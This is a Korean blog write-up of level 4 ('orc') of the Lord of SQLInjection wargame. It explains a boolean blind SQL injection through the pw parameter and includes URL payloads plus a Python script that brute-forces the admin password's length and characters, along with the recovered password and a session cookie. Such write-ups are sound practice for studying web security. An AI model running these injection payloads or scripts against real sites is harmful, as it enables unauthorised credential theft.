본문으로 바로가기

LOS 4(orc)

category LOS-write up 2021. 1. 3. 03:03

문제

문제 분석

pw에 "prob" , "_" , "."  를 피해줘야 하고

id를 조회하는 쿼리가 참이된다면 hello admin이 출력되는데 이것으로 blind injection을 진행한다.

 

결국 blind injection으로 알아낸 admin의 pw값을 정확히 입력해줘야 문제가 풀린다. 

pw값이 존재하며 입력 받은 pw의 값과 같은 조건을 우회하기는 힘들다. 

 

문제풀이

pw에 '(싱글쿼터)를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' and 1(1 대신 원하는 조건)으로 조작한다

where id='admin' and pw= '' or id='admin' and 1
=>  and로 묶이는 주황색 조건은 pw='' 때문에 전부 false가 되고 뒤에 id가 admin이란 조건과 참인 조건이 만나면 hello admin이 출력되어 조건이 맞는지 아닌지 파악 가능

=>파란색 조건에서 id='admin'조건을 해주지않는다면 다른 id인 guest와 혼동될수 있다. 

 

이제 1 대신 pw와 관련된 조건을 입력하여 blind injection을 진행

 

 

문제 정답

pw 길이를 알아내는 조건

URL?pw=' or id ='admin' and (length(pw)=1)#

1의 값을 하나씩 바꿔주는데 hello admin이 출력되는 수가 pw의 길이이다.

 

 

pw 값을 알아내는 조건

URL?pw=' or (ascii(mid(pw,1,1))=1)#

pw의 자릿수를 아스키코드로 바꿔 참이되는지 파악하는 조건문이며  1은 pw의 자릿수를 의미하고 1에 맞는 ascii 숫자가 들어가면 조건이 참이 되면서 hello admin이 된다. 

 

url을 조작할시 %23으로 입력해줘야한다.

 

따라서 위의 조건을 통해 password를 알아내서 pw를 정확히 입력하면 문제가 풀린다.

URL?pw=095a9852

 

아래의 코드를 통해 쉽게 알아낼 수 있다.

 

문제 풀이 코드

import requests

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키

data={}
password=""

for pw_length in range(1,12):
    data['pw']="' or id ='admin' and (length(pw)="+str(pw_length)+")#"
    #data['pw']="' or (length(pw)="+str(pw_length)+")#" 
    #주석처리한 쿼리는 admin이 아닌 다른 pw 길이값인 4도 나오기 떄문에 id='admin' 조건을 함께주어야한다. 
    res = requests.get(url, params=data, cookies=session)
    
    if "Hello admin" in res.text:
        print("pw_length:"+str(pw_length)) 
        break
        

for i in range(1,pw_length+1):
    for j in range(32,127):
        data['pw']="' or (ascii(mid(pw,"+str(i)+",1))="+str(j)+")#"
        res = requests.get(url, params=data, cookies=session)
        if "Hello admin" in res.text:
            password+=chr(j)
            print(password)
            break
  

data['pw']=password
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과

 

'LOS-write up' 카테고리의 다른 글

LOS 6(darkelf)  (0) 2021.01.03
LOS 5(wolfman)  (0) 2021.01.03
LOS 3(goblin)  (0) 2021.01.03
LOS 2 (cobolt)  (0) 2021.01.03
LOS 1 (gremlin)  (0) 2021.01.03